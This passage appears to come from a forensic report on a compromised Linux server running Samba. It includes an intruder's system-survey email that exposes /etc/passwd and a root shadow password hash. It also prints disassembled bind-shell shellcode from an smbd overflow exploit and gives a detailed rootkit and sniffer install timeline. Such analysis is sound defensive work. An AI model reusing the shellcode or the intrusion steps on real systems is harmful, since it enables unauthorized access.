--- 64.58.79.230 ping statistics ---
6 packets transmitted, 0 packets received, 100% packet loss

================================================================

Hw info:

CPU Speed: 133.308MHz
CPU Vendor: vendor_id   : GenuineIntel
CPU Model: model name   : Pentium 60/66
RAM: 63 Mb

================================================================

HDD(s):
Filesystem    Type    Size  Used Avail Use% Mounted on
/dev/hda2     ext3    1.9G  1.5G  333M  83% /
/dev/hda1     ext3     39M  5.9M   30M  16% /boot
none         tmpfs     30M     0   30M   0% /dev/shm

================================================================

inetd-ul...

================================================================

configurarea ip-urilor..
          inet addr:192.168.20.72  Bcast:192.168.20.255
Mask:255.255.255.0
          inet addr:127.0.0.1  Mask:255.0.0.0

================================================================

Ports open:
rpc.statd   611     root    6u  IPv4        838                TCP
*:1024 (LISTEN)
sshd        774     root    3u  IPv4       1017                TCP
*:ssh (LISTEN)
xinetd      807     root    3u  IPv4       1036                TCP
myhost:1025 (LISTEN)
xinetd      807     root    4u  IPv4       9527                TCP
*:finger (LISTEN)
xinetd      807     root    8u  IPv4       9579                TCP
*:telnet (LISTEN)
xinetd      807     root    9u  IPv4       9596                TCP
*:ftp (LISTEN)
xinetd      807     root   10u  IPv4       9614                TCP
*:rsync (LISTEN)
xinetd      807     root   12u  IPv4       9649                TCP
*:imap (LISTEN)
xinetd      807     root   13u  IPv4       9666                TCP
*:imaps (LISTEN)
xinetd      807     root   14u  IPv4       9683                TCP
*:pop2 (LISTEN)
xinetd      807     root   15u  IPv4       9700                TCP
*:pop3 (LISTEN)
```

```
xinetd      807     root   16u  IPv4       9718                TCP
*:pop3s (LISTEN)
jserver     909     root    3u  IPv4       1152                TCP
*:wnn4 (LISTEN)
rpc.rquot  9619     root    4u  IPv4       9790                TCP
*:895 (LISTEN)
rpc.mount  9624     root    4u  IPv4       9806                TCP
*:1026 (LISTEN)
identd     9688     root    4u  IPv4       9895                TCP
*:auth (LISTEN)
identd     9691     root    4u  IPv4       9895                TCP
*:auth (LISTEN)
identd     9692     root    4u  IPv4       9895                TCP
*:auth (LISTEN)
identd     9693     root    4u  IPv4       9895                TCP
*:auth (LISTEN)
identd     9694     root    4u  IPv4       9895                TCP
*:auth (LISTEN)
snmpd      9709     root    4u  IPv4       9908                TCP
*:smux (LISTEN)
smbd       9815     root    9u  IPv4      10402                TCP
*:netbios-ssn (LISTEN)
named     10019     root   11u  IPv4      12430                TCP
myhost:domain (LISTEN)
named     10019     root   13u  IPv4      12432                TCP
myhost.localdomain:domain (LISTEN)
named     10019     root   14u  IPv4      12434                TCP
myhost:rndc (LISTEN)
named     10020     root   11u  IPv4      12430                TCP
myhost:domain (LISTEN)
named     10020     root   13u  IPv4      12432                TCP
myhost.localdomain:domain (LISTEN)
named     10020     root   14u  IPv4      12434                TCP
myhost:rndc (LISTEN)
named     10021     root   11u  IPv4      12430                TCP
myhost:domain (LISTEN)
named     10021     root   13u  IPv4      12432                TCP
myhost.localdomain:domain (LISTEN)
named     10021     root   14u  IPv4      12434                TCP
myhost:rndc (LISTEN)
named     10023     root   11u  IPv4      12430                TCP
myhost:domain (LISTEN)
named     10023     root   13u  IPv4      12432                TCP
myhost.localdomain:domain (LISTEN)
named     10023     root   14u  IPv4      12434                TCP
myhost:rndc (LISTEN)
named     10024     root   11u  IPv4      12430                TCP
myhost:domain (LISTEN)
named     10024     root   13u  IPv4      12432                TCP
myhost.localdomain:domain (LISTEN)
named     10024     root   14u  IPv4      12434                TCP
myhost:rndc (LISTEN)
squid     10133     root   10u  IPv4      18459                TCP
*:squid (LISTEN)
amd       10148     root    5u  IPv4      18415                TCP
*:997 (LISTEN)
```

```
mysqld    10217     root    3u  IPv4      18598               TCP
*:mysql (LISTEN)
mysqld    10221     root    3u  IPv4      18598               TCP
*:mysql (LISTEN)
mysqld    10222     root    3u  IPv4      18598               TCP
*:mysql (LISTEN)
mysqld    10223     root    3u  IPv4      18598               TCP
*:mysql (LISTEN)
sendmail  10271     root    4u  IPv4      18665               TCP
*:smtp (LISTEN)
httpd     10324     root   16u  IPv4      22935               TCP
*:http (LISTEN)
smbd      25599     root   17u  IPv4      52310               TCP
*:45295 (LISTEN)
httpd     28175     root   16u  IPv4      22935               TCP
*:http (LISTEN)
httpd     28176     root   16u  IPv4      22935               TCP
*:http (LISTEN)
httpd     28177     root   16u  IPv4      22935               TCP
*:http (LISTEN)
httpd     28178     root   16u  IPv4      22935               TCP
*:http (LISTEN)
httpd     28179     root   16u  IPv4      22935               TCP
*:http (LISTEN)
httpd     28180     root   16u  IPv4      22935               TCP
*:http (LISTEN)
httpd     28181     root   16u  IPv4      22935               TCP
*:http (LISTEN)
httpd     28182     root   16u  IPv4      22935               TCP
*:http (LISTEN)
smbd      29269     root   17u  IPv4      59773               TCP
*:10007 (LISTEN)

================================================================

/etc/passwd & /etc/shadow

/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/dev/null
rpm:x:37:37::/var/lib/rpm:/bin/bash
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
```

```
wnn:x:49:49:Wnn System Account:/home/wnn:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/bin/false
gdm:x:42:42::/var/gdm:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/bin/false
ident:x:98:98:pident user:/:/sbin/nologin
radvd:x:75:75:radvd user:/:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
apache:x:48:48:Apache:/var/www:/bin/false
squid:x:23:23::/var/spool/squid:/dev/null
named:x:25:25:Named:/var/named:/bin/false
pcap:x:77:77::/var/arpwatch:/bin/nologin
amanda:x:33:6:Amanda user:/var/lib/amanda:/bin/bash
mailman:x:41:41:GNU Mailing List Manager:/var/mailman:/bin/false
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
ldap:x:55:55:LDAP User:/var/lib/ldap:/bin/false

/etc/shadow
root:$1$I6GuVkx8$DBd/8S4wWsJOxtK/UcFP91:12228:0:99999:7:::
bin:*:12228:0:99999:7:::
daemon:*:12228:0:99999:7:::
adm:*:12228:0:99999:7:::
lp:*:12228:0:99999:7:::
sync:*:12228:0:99999:7:::
shutdown:*:12228:0:99999:7:::
halt:*:12228:0:99999:7:::
mail:*:12228:0:99999:7:::
news:*:12228:0:99999:7:::
uucp:*:12228:0:99999:7:::
operator:*:12228:0:99999:7:::
games:*:12228:0:99999:7:::
gopher:*:12228:0:99999:7:::
ftp:*:12228:0:99999:7:::
nobody:*:12228:0:99999:7:::
mailnull:!!:12228:0:99999:7:::
rpm:!!:12228:0:99999:7:::
xfs:!!:12228:0:99999:7:::
wnn:!!:12228:0:99999:7:::
ntp:!!:12228:0:99999:7:::
rpc:!!:12228:0:99999:7:::
gdm:!!:12228:0:99999:7:::
rpcuser:!!:12228:0:99999:7:::
nfsnobody:!!:12228:0:99999:7:::
nscd:!!:12228:0:99999:7:::
ident:!!:12228:0:99999:7:::
radvd:!!:12228:0:99999:7:::
postgres:!!:12228:0:99999:7:::
apache:!!:12228:0:99999:7:::
squid:!!:12228:0:99999:7:::
named:!!:12228:0:99999:7:::
pcap:!!:12228:0:99999:7:::
amanda:!!:12228:0:99999:7:::
mailman:!!:12228:0:99999:7:::
mysql:!!:12228:0:99999:7:::
ldap:!!:12228:0:99999:7:::
```

```
================================================================

interesting filez:

Mp3-urile

Avi-urile

Mpg-urile

================================================================

Cam asta este tot-ul ... sper sa fie ceva de server-ul asta...:)

--h5SATlF29346.1056796187/localhost.localdomain--
```

Appendix F - Exploit of the smbd Buffer Overflow Vulnerability

```
0x8049400 <buf+0>:      nop
0x8049401 <buf+1>:      nop
0x8049402 <buf+2>:      xor    %eax,%eax
0x8049404 <buf+4>:      xor    %ebx,%ebx
0x8049406 <buf+6>:      xor    %ecx,%ecx
0x8049408 <buf+8>:      push   %ecx
0x8049409 <buf+9>:      mov    $0x6,%cl
0x804940b <buf+11>:     push   %ecx
0x804940c <buf+12>:     mov    $0x1,%cl
0x804940e <buf+14>:     push   %ecx
0x804940f <buf+15>:     mov    $0x2,%cl
0x8049411 <buf+17>:     push   %ecx
0x8049412 <buf+18>:     mov    %esp,%ecx
0x8049414 <buf+20>:     mov    $0x1,%bl
0x8049416 <buf+22>:     mov    $0x66,%al
0x8049418 <buf+24>:     int    $0x80
0x804941a <buf+26>:     mov    %eax,%ecx
0x804941c <buf+28>:     xor    %eax,%eax
0x804941e <buf+30>:     xor    %ebx,%ebx
0x8049420 <buf+32>:     push   %eax
0x8049421 <buf+33>:     push   %eax
0x8049422 <buf+34>:     push   %eax
0x8049423 <buf+35>:     pushw  $0xefb0
0x8049427 <buf+39>:     mov    $0x2,%bl
0x8049429 <buf+41>:     push   %bx
0x804942b <buf+43>:     mov    %esp,%edx
0x804942d <buf+45>:     mov    $0x10,%bl
0x804942f <buf+47>:     push   %ebx
0x8049430 <buf+48>:     mov    $0x2,%bl
0x8049432 <buf+50>:     push   %edx
0x8049433 <buf+51>:     push   %ecx
0x8049434 <buf+52>:     mov    %ecx,%edx
0x8049436 <buf+54>:     mov    %esp,%ecx
0x8049438 <buf+56>:     mov    $0x66,%al
0x804943a <buf+58>:     int    $0x80
0x804943c <buf+60>:     xor    %ebx,%ebx
0x804943e <buf+62>:     cmp    %eax,%ebx
0x8049440 <buf+64>:     je     0x8049447 <buf+71>
0x8049442 <buf+66>:     xor    %eax,%eax
0x8049444 <buf+68>:     inc    %eax
0x8049445 <buf+69>:     int    $0x80
0x8049447 <buf+71>:     xor    %eax,%eax
0x8049449 <buf+73>:     push   %eax
0x804944a <buf+74>:     push   %edx
0x804944b <buf+75>:     mov    %esp,%ecx
0x804944d <buf+77>:     mov    $0x4,%bl
0x804944f <buf+79>:     mov    $0x66,%al
0x8049451 <buf+81>:     int    $0x80
0x8049453 <buf+83>:     mov    %edx,%edi
0x8049455 <buf+85>:     xor    %eax,%eax
0x8049457 <buf+87>:     xor    %ebx,%ebx
0x8049459 <buf+89>:     xor    %ecx,%ecx
0x804945b <buf+91>:     mov    $0x11,%bl
```

```
0x804945d <buf+93>:     mov    $0x1,%cl
0x804945f <buf+95>:     mov    $0x30,%al
0x8049461 <buf+97>:     int    $0x80
0x8049463 <buf+99>:     xor    %eax,%eax
0x8049465 <buf+101>:    xor    %ebx,%ebx
0x8049467 <buf+103>:    push   %eax
0x8049468 <buf+104>:    push   %eax
0x8049469 <buf+105>:    push   %edi
0x804946a <buf+106>:    mov    %esp,%ecx
0x804946c <buf+108>:    mov    $0x5,%bl
0x804946e <buf+110>:    mov    $0x66,%al
0x8049470 <buf+112>:    int    $0x80
0x8049472 <buf+114>:    mov    %eax,%esi
0x8049474 <buf+116>:    xor    %eax,%eax
0x8049476 <buf+118>:    xor    %ebx,%ebx
0x8049478 <buf+120>:    mov    $0x2,%al
0x804947a <buf+122>:    int    $0x80
0x804947c <buf+124>:    cmp    %eax,%ebx
0x804947e <buf+126>:    jne    0x80494c0 <buf+192>
0x8049480 <buf+128>:    xor    %eax,%eax
0x8049482 <buf+130>:    mov    %edi,%ebx
0x8049484 <buf+132>:    mov    $0x6,%al
0x8049486 <buf+134>:    int    $0x80
0x8049488 <buf+136>:    xor    %eax,%eax
0x804948a <buf+138>:    xor    %ecx,%ecx
0x804948c <buf+140>:    mov    %esi,%ebx
0x804948e <buf+142>:    mov    $0x3f,%al
0x8049490 <buf+144>:    int    $0x80
0x8049492 <buf+146>:    xor    %eax,%eax
0x8049494 <buf+148>:    inc    %ecx
0x8049495 <buf+149>:    mov    $0x3f,%al
0x8049497 <buf+151>:    int    $0x80
0x8049499 <buf+153>:    xor    %eax,%eax
0x804949b <buf+155>:    inc    %ecx
0x804949c <buf+156>:    mov    $0x3f,%al
0x804949e <buf+158>:    int    $0x80
0x80494a0 <buf+160>:    xor    %eax,%eax
0x80494a2 <buf+162>:    push   %eax
0x80494a3 <buf+163>:    push   $0x68732f2f
0x80494a8 <buf+168>:    push   $0x6e69622f
0x80494ad <buf+173>:    mov    %esp,%ebx
0x80494af <buf+175>:    mov    0x8(%esp,1),%edx
0x80494b3 <buf+179>:    push   %eax
0x80494b4 <buf+180>:    push   %ebx
0x80494b5 <buf+181>:    mov    %esp,%ecx
0x80494b7 <buf+183>:    mov    $0xb,%al
0x80494b9 <buf+185>:    int    $0x80
0x80494bb <buf+187>:    xor    %eax,%eax
0x80494bd <buf+189>:    inc    %eax
0x80494be <buf+190>:    int    $0x80
0x80494c0 <buf+192>:    xor    %eax,%eax
0x80494c2 <buf+194>:    mov    %esi,%ebx
0x80494c4 <buf+196>:    mov    $0x6,%al
0x80494c6 <buf+198>:    int    $0x80
0x80494c8 <buf+200>:    jmp    0x8049463 <buf+99>
```

Appendix G - Detailed Timeline

```
  /* modification of rootkit files */
Sat Jan 19 2002 03:11:01   165136 m.. -/-rwxr-xr-x 506      506
150804   /bin/pico
Sun Mar 17 2002 04:01:08       39 m.. -/-rwxr-xr-x 1004     1004
150799   /dev/ttyof
Fri May 24 2002 20:36:59      539 m.. -/-rwx--x--x 0        0
150780   /usr/include/icekey.h
Mon May 05 2003 06:00:57   670767 m.. -/-rwxr-xr-x 0        0
150788   /usr/bin/smbd -D
Mon May 05 2003 06:43:05       63 m.. -/-r-x------ 0        0
150803   /usr/bin/crontabs
Mon May 05 2003 06:49:41      691 m.. -/-rwxr-xr-x 0        0
150781   /usr/include/iceconf.h
Mon May 05 2003 06:49:57       58 m.. -/-rwxr-xr-x 1004     1004
150798   /dev/ttyoa
Mon May 05 2003 06:50:06       90 m.. -/-rwxr-xr-x 1004     1004
150800   /dev/ttyop

  /* modification of mech files */
Fri May 09 2003 14:18:50       85 m.. -/-rw-r--r-- 0        0
118787   /dev/hpd/palette/host
Tue May 27 2003 20:09:59     1156 m.. -/-rw-r--r-- 507      507
118781   /dev/hpd/palette/mech.set

  /* beginning of OS install */
2003 Jun 25 Wed 08:40:04    16384 m.c drwxr-xr-x 0        0        11
/lost+found
                                0 mac ---------- 0        0        1
<hda2-alive-1>

  /* root login and run tcsh */
2003 Jun 25 Wed 21:19:15      196 .a. -/-rw-r--r-- 0        0
48170    /root/.tcshrc
                           288604 .a. -/-rwxr-xr-x 0        0
96451    /bin/tcsh
                            20380 .a. -/-rwxr-xr-x 0        0
160579   /usr/bin/test
                              376 .a. -/-rw-r--r-- 0        0
224073   /etc/csh.cshrc

  /* root login and run bash */

2003 Jun 26 Thu 02:27:34    17740 .a. -/-rwxr-xr-x 0        0
96516    /bin/login
2003 Jun 26 Thu 02:27:36    49116 .a. -/-rwxr-xr-x 0        0
96413    /bin/egrep
2003 Jun 26 Thu 02:27:37    31036 .a. -/-rwxr-xr-x 0        0
96507    /bin/stty
2003 Jun 26 Thu 02:27:40   359388 .a. -/-rwxr-xr-x 0        0
96460    /bin/vi
2003 Jun 26 Thu 02:27:47      120 m.c -/-rw------- 0        0
54779    /root/.bash_history
```

```
  /* /var/log/samba/smbd.log */
[2003/06/28 05:58:27, 0] smbd/connection.c:yield_connection(62)
  yield_connection: tdb_delete failed with error Record does not exist.

2003 Jun 28 Sat 05:58:28     4096 m.c d/drwx------ 0        0
243074   /var/log/samba
                            10948 .a. -/-rw-r--r-- 0        0
246786   /var/log/samba/buddha.log

  /* /var/log/samba/smbd.log */
[2003/06/28 06:00:15, 0] smbd/connection.c:yield_connection(62)
  yield_connection: tdb_delete failed with error Record does not exist.


2003 Jun 28 Sat 06:01:02    36604 .a. -/-rwxr-xr-x 0        0
96397    /bin/cp
                            10524 .a. -/-rwxr-xr-x 0        0
96500    /bin/basename
2003 Jun 28 Sat 06:01:03    27404 .a. -/-rwxr-xr-x 0        0
176088   /sbin/chkconfig
                             3112 .a. -/-rwxr-xr-x 0        0
176473   /sbin/runlevel
                            18452 .a. -/-rwsr-xr-x 0        0
96508    /bin/su
                            46844 .a. -/-rwxr-xr-x 0        0
96421    /bin/sed

  /* samba logs */
[2003/06/28 06:01:15, 0] lib/util_sock.c:read_socket_data(478)
  read_socket_data: recv failure for 4. Error = Connection reset by
peer
[2003/06/28 06:01:16, 0] lib/util_sock.c:read_socket_data(478)
  read_socket_data: recv failure for 4. Error = Connection reset by
peer
[2003/06/28 06:01:16, 0] lib/util_sock.c:read_socket_data(478)
  read_socket_data: recv failure for 4. Error = Connection reset by
peer
[2003/06/28 06:01:17, 0] lib/util_sock.c:read_socket_data(478)
  read_socket_data: recv failure for 4. Error = Connection reset by
peer
[2003/06/28 06:01:18, 0] lib/util_sock.c:read_socket_data(478)
  read_socket_data: recv failure for 4. Error = Connection reset by
peer


Sat Jun 28 2003 06:01:18    10948 m.c -/-rw-r--r-- 0        0
246786   /var/log/samba/buddha.log
Sat Jun 28 2003 06:20:01    26780 .a. -/-rwxr-xr-x 0        0
96501    /bin/date
Sat Jun 28 2003 06:26:07    32768 mac -/-rw-r--r-- 0        0
86766    /var/cache/samba/connections.tdb

  /* transfers file */
Sat Jun 28 2003 06:26:31       18 .a. l/lrwxrwxrwx 0        0
176399   /usr/lib/libreadline.so.4 -> libreadline.so.4.2
                            65692 .a. -/-rwxr-xr-x 0        0
163854   /usr/bin/ftp
```

```
                          182185 .a. -/-rwxr-xr-x 0        0
176400   /usr/lib/libreadline.so.4.2
  /* unpacks file */
Sat Jun 28 2003 06:28:40     8268 .a. -/-rwx--x--x 0        0
150786   /usr/bin/sl2
                            4060 .a. -/-rwxr-xr-x 0        0
150791   /usr/bin/sense
                               0 .a. -rw------- 0        0
150792   <hda2-dead-150792>
                               0 .a. -rwxr-xr-x 0        0
150793   <hda2-dead-150793>
                               0 .a. -rwxr-xr-x 0        0
150797   <hda2-dead-150797>
                              58 .a. -/-rwxr-xr-x 1004     1004
150798   /dev/ttyoa
                              39 .a. -/-rwxr-xr-x 1004     1004
150799   /dev/ttyof
                              90 .a. -/-rwxr-xr-x 1004     1004
150800   /dev/ttyop
                               0 .a. -rwxr-xr-x 0        0
150801   <hda2-dead-150801>

Sat Jun 28 2003 06:28:41        0 .a. -/-rw-rw-rw- 0        0
214395   /tmp/swat.tgz (deleted)
                               0 .a. -rw-rw-rw- 0        0
214395   <hda2-dead-214395>

Sat Jun 28 2003 06:28:47     9315 .a. -/-rwxr-xr-x 0        0
146591   /etc/rc.d/init.d/functions

  /* install:59 */
                           18588 .a. -/-rwxr-xr-x 0        0
96396    /bin/chown
                              11 .a. l/lrwxrwxrwx 0        0
224094   /etc/init.d -> rc.d/init.d
Sat Jun 28 2003 06:28:48     2944 .a. -/-rwxr-xr-x 0        0
176502   /sbin/consoletype
                             952 .a. -/-rw-r--r-- 0        0
32865    /etc/sysconfig/init
                              50 .a. -/-rw-r--r-- 0        0
38509    /etc/sysconfig/network
                            8464 .a. -/-rwxr-xr-x 0        0
176469   /sbin/killall5
Sat Jun 28 2003 06:28:49    19748 .a. -/-rwxr-xr-x 0        0
96521    /bin/usleep
                           30216 .a. -/-rwxr-xr-x 0        0
176506   /sbin/initlog
                             658 .a. -/-rw-r--r-- 0        0
226787   /etc/initlog.conf
                            4096 m.c d/drwxr-xr-x 0        0
208080   /var/lock/subsys

  /* install:64 */
                            1831 .a. -/-rwxr-xr-x 0        0
146781   /etc/rc.d/init.d/portmap

  /* /var/log/messages.0 */
```

```
Jun 28 06:28:49 myhost portmap: portmap shutdown succeeded

  /* install:66 */
                           40960 .a. d/drwxr-xr-x 0        0
160002   /usr/bin

  /* install:66 */
Sat Jun 28 2003 06:28:50    ctime on /usr/bin/* changes

Sat Jun 28 2003 06:28:54

  /* install:85*/
                          150796 .a. -/-rwxr-xr-x 0        0
96449    /bin/tar
                           51228 .a. -/-rwxr-xr-x 0        0
96419    /bin/gunzip

  /* install:94 */
                          165136 .a. -/-rwxr-xr-x 506      506
150804   /bin/pico

  /* install:102 */
                           24284 .a. -/-rwxr-xr-x 0        0
96408    /bin/touch

  /* install:103 */
  /* created /usr/lib/libshtift */
                            4096 m.. d/drwxr-xr-x 0        0
96072    /bin
                            4096 mac d/drwxrwxrwx 0        0
134783   /usr/lib/libshtift
                           63180 ..c -/-r-xr-xr-x 0        0
96420    /usr/lib/libshtift/ps
                           45948 ..c -/-rwxr-xr-x 0        0
96401    /usr/lib/libshtift/ls
                           34924 ..c -/-r-xr-xr-x 0        0
160482   /usr/lib/libshtift/top
                           83132 ..c -/-rwxr-xr-x 0        0
96103    /usr/lib/libshtift/netstat

  /* install:106 */
                            8268 ..c -/-rwx--x--x 0        0
150786   /usr/bin/sl2
                            9315 m.c -/-rwxr-xr-x 0        0
146591   /etc/rc.d/init.d/functions
                              63 ..c -/-r-x------ 0        0
150803   /usr/bin/crontabs
                           16956 .a. -/-rwxr-xr-x 0        0
96395    /bin/chmod

  /* install:107 */
                               0 .a. -rwxr-xr-x 0        0
150794   <hda2-dead-150794>
                             539 ..c -/-rwx--x--x 0        0
150780   /usr/include/icekey.h
Sat Jun 28 2003 06:28:55      691 ..c -/-rwxr-xr-x 0        0
150781   /usr/include/iceconf.h
```

```
                                6 mac -/-rw-rw-rw- 0        0
118778   /usr/include/icepid.h
                             8192 m.c d/drwxr-xr-x 0        0
112074   /usr/include
                           670767 ..c -/-rwxr-xr-x 0        0
150788   /usr/bin/smbd -D

  /* install:1135 */
                            78892 .a. -/-rwxr-xr-x 0        0
164472   /usr/bin/gcc
                            78892 .a. -/-rwxr-xr-x 0        0
164472   /usr/bin/i386-redhat-linux-gcc

 /* /var/log/messages.0 */
Jun 28 06:28:55 myhost smbd -D[29269]: log: Server listening on port
10007.
Jun 28 06:28:55 myhost smbd -D[29269]: log: Generating 768 bit RSA key.

Sat Jun 28 2003 06:28:56     3737 .a. -/-rw-r--r-- 0        0
244278   /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
 ... many header files are read ...
                            96044 .a. -/-rwxr-xr-x 0        0
243085   /usr/lib/gcc-lib/i386-redhat-linux/2.96/cpp0
                          2497100 .a. -/-rwxr-xr-x 0        0
244271   /usr/lib/gcc-lib/i386-redhat-linux/2.96/cc1
                                0 .a. -rwxr-xr-x 0        0
150790   <hda2-dead-150790>
Sat Jun 28 2003 06:29:03   227116 .a. -/-rwxr-xr-x 0        0
164371   /usr/bin/as
Sat Jun 28 2003 06:29:04    81932 .a. -/-rwxr-xr-x 0        0
244272   /usr/lib/gcc-lib/i386-redhat-linux/2.96/collect2
                                0 m.. -rw------- 0        0
214400   <hda2-dead-214400>
                              178 .a. -/-rw-r--r-- 0        0
179040   /usr/lib/libc.so
                                0 m.. -/-rw------- 0        0
214400   /tmp/ccQjlg9t.ld (deleted)
                                0 ma. -rw------- 0        0
214399   <hda2-dead-214399>
                           401750 .a. -/-rwxr-xr-x 0        0
178943   /usr/lib/libbfd-2.11.90.0.8.so
                                0 ma. -/-rw------- 0        0
214399   /tmp/cceOF341.o (deleted)
                           289964 .a. -/-rwxr-xr-x 0        0
164370   /usr/bin/ld
Sat Jun 28 2003 06:29:05     2016 .a. -/-rw-r--r-- 0        0
244273   /usr/lib/gcc-lib/i386-redhat-linux/2.96/crtbegin.o
                              862 .a. -/-rw-r--r-- 0        0
179031   /usr/lib/crtn.o
                            10360 .a. -/-rw-r--r-- 0        0
179029   /usr/lib/crt1.o
                            75580 .a. -/-rw-r--r-- 0        0
179041   /usr/lib/libc_nonshared.a
                          1319566 .a. -/-rw-r--r-- 0        0
244277   /usr/lib/gcc-lib/i386-redhat-linux/2.96/libgcc.a
                             1436 .a. -/-rw-r--r-- 0        0
244275   /usr/lib/gcc-lib/i386-redhat-linux/2.96/crtend.o
```

```
                            1220 .a. -/-rw-r--r-- 0        0
179030   /usr/lib/crti.o
Sat Jun 28 2003 06:29:06
                               0 ..c -/-rw------- 0        0
214399   /tmp/cceOF341.o (deleted)
                               0 .ac -/-rw------- 0        0
214400   /tmp/ccQjlg9t.ld (deleted)

                               0 ..c -rw------- 0        0
214399   <hda2-dead-214399>
                               0 .ac -rw------- 0        0
214400   <hda2-dead-214400>

  /* install:1137 */
                           43772 .a. -/-rwxr-xr-x 0        0
96404    /bin/mv
                           40960 m.c d/drwxr-xr-x 0        0
160002   /usr/bin

  /* (swapd) sniffer is created */
                           18439 m.c -/-rwxrwxrwx 0        0
150805   /usr/bin/(swapd)


  /* install:1141 */
                          519964 .a. -/-rwxr-xr-x 0        0
96189    /bin/bash
                               6 .a. -/-rw-rw-rw- 0        0
181293   /usr/lib/swap.p
                              63 .a. -/-r-x------ 0        0
150803   /usr/bin/crontabs
                          670767 .a. -/-rwxr-xr-x 0        0
150788   /usr/bin/smbd -D
                             512 .a. -/-rwx--x--x 0        0
150785   /usr/include/iceseed.h
                               0 mac -/-rw-rw-rw- 0        0
181294   /usr/lib/libice.log
                             691 .a. -/-rwxr-xr-x 0        0
150781   /usr/include/iceconf.h
                             539 .a. -/-rwx--x--x 0        0
150780   /usr/include/icekey.h


  /* /var/log/messages.0 */
Jun 28 06:29:06 myhost kernel: (swapd) uses obsolete
(PF_INET,SOCK_PACKET)
Jun 28 06:29:06 myhost kernel: eth0: Promiscuous mode enabled.
Jun 28 06:29:06 myhost kernel: device eth0 entered promiscuous mode
Jun 28 06:29:06 myhost smbd -D[29281]: error: bind: Address already in
use
Jun 28 06:29:06 myhost smbd -D[29281]: fatal: Bind to port 10007
failed: Transport endpoint is not connected.

  /* data is grabbed about the system */

  /* sysinfo:867 */
```

```
Sat Jun 28 2003 06:29:07    15964 .a. -/-rwxr-xr-x 0        0
160535   /usr/bin/head
                            16828 .a. -/-rwxr-xr-x 0        0
96453    /bin/cut
                            10844 .a. -/-rwxr-xr-x 0        0
96510    /bin/uname
                             3044 .a. -/-r-xr-xr-x 0        0
160483   /usr/bin/uptime
                            23436 .a. -/-rwsr-xr-x 0        0
96097    /bin/ping
                             9304 .a. -/-rwxr-xr-x 0        0
96102    /bin/hostname
                               35 .a. -/-rw-r--r-- 0        0
224465   /etc/redhat-release

  /* /var/log/messages */
Jun 28 06:29:14 myhost smbd -D[29269]: log: RSA key generation
complete.


  /* sysinfo:910 */
Sat Jun 28 2003 06:29:22   224860 .a. -/-rwxr-xr-x 0        0
96412    /bin/gawk
                           224860 .a. -/-rwxr-xr-x 0        0
96412    /bin/gawk-3.1.0
  /* sysinfo:910 */
                             6964 .a. -/-r-xr-xr-x 0        0
160479   /usr/bin/free

  /* sysinfo:911 */
                            28108 .a. -/-rwxr-xr-x 0        0
164322   /usr/bin/dc
                            46224 .a. -/-rwxr-xr-x 0        0
48164    /lib/libproc.so.2.0.7
Sat Jun 28 2003 06:29:23        0 mac -rw-rw-rw- 0        0
150807   <hda2-dead-150807>

  /* sysinfo:922 */
                            26812 .a. -/-rwxr-xr-x 0        0
96399    /bin/df
  /* sysinfo:932 */
                            51164 .a. -/-rwxr-xr-x 0        0
176124   /sbin/ifconfig
  /* sysinfo:938 */
                            82812 .a. -/-rwxr-xr-x 0        0
36421    /usr/sbin/lsof
  /* sysinfo:940 */
                            49116 .a. -/-rwxr-xr-x 0        0
96415    /bin/grep
  /* sysinfo:965 */
Sat Jun 28 2003 06:29:29  1085040 .a. -/-rw-r----- 0        21
22786    /var/lib/slocate/slocate.db
                            25020 .a. -/-rwxr-sr-x 0        21
160526   /usr/bin/slocate
                                7 .a. l/lrwxrwxrwx 0        21
160525   /usr/bin/locate -> slocate
```

```
Sat Jun 28 2003 06:29:31    30114 .a. -/-rwxr-xr-x 0        0
176108   /usr/lib/libgdbm.so.2.0.0
  /* install:1148 */
                            14812 .a. -/-rwxr-xr-x 0        0
96452    /bin/cat
                            66492 .a. -/-rwxr-xr-x 0        12
96098    /bin/mail
                              112 .a. -/-rw-r--r-- 0        0
224095   /etc/mail.rc
                           451076 .a. -/-r-sr-xr-x 0        0
32854    /usr/sbin/sendmail
                            48683 .a. -/-rwxr-xr-x 0        0
176461   /usr/lib/libsasl.so.7.1.8
                           200192 .a. -/-rwxr-xr-x 0        0
48371    /lib/libldap.so.2.0.6
                            44728 .a. -/-rwxr-xr-x 0        0
48369    /lib/liblber.so.2.0.6
                               16 .a. l/lrwxrwxrwx 0        0
176460   /usr/lib/libsasl.so.7 -> libsasl.so.7.1.8
                           754870 .a. -/-rwxr-xr-x 0        0
48138    /lib/libdb-3.2.so
                               16 .a. l/lrwxrwxrwx 0        0
176107   /usr/lib/libgdbm.so.2 -> libgdbm.so.2.0.0

  /* install:1153 */
                            17788 .a. -/-rwxr-xr-x 0        0
96402    /bin/mkdir
                            77824 m.c d/drwxr-xr-x 0        0
64001    /dev
  /* install:1159 */
                            25884 .a. -/-rwxr-xr-x 0        0
96405    /bin/rm
                                0 .a. -rw-rw-rw- 0        0
150806   <hda2-dead-150806>
                                0 .a. -rwxr-xr-x 0        0
150789   <hda2-dead-150789>
                                0 .a. -rwx--x--x 0        0
150795   <hda2-dead-150795>
